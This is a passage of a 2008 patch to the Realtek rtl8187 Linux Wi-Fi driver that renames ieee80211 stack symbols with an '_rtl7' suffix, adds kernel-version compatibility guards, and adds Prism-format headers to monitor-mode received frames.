prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211.h 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-08-12 14:23:20.000000000 -0400 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_module.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-08-12 13:11:32.000000000 -0400 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_rx.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-08-12 13:11:32.000000000 -0400 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < 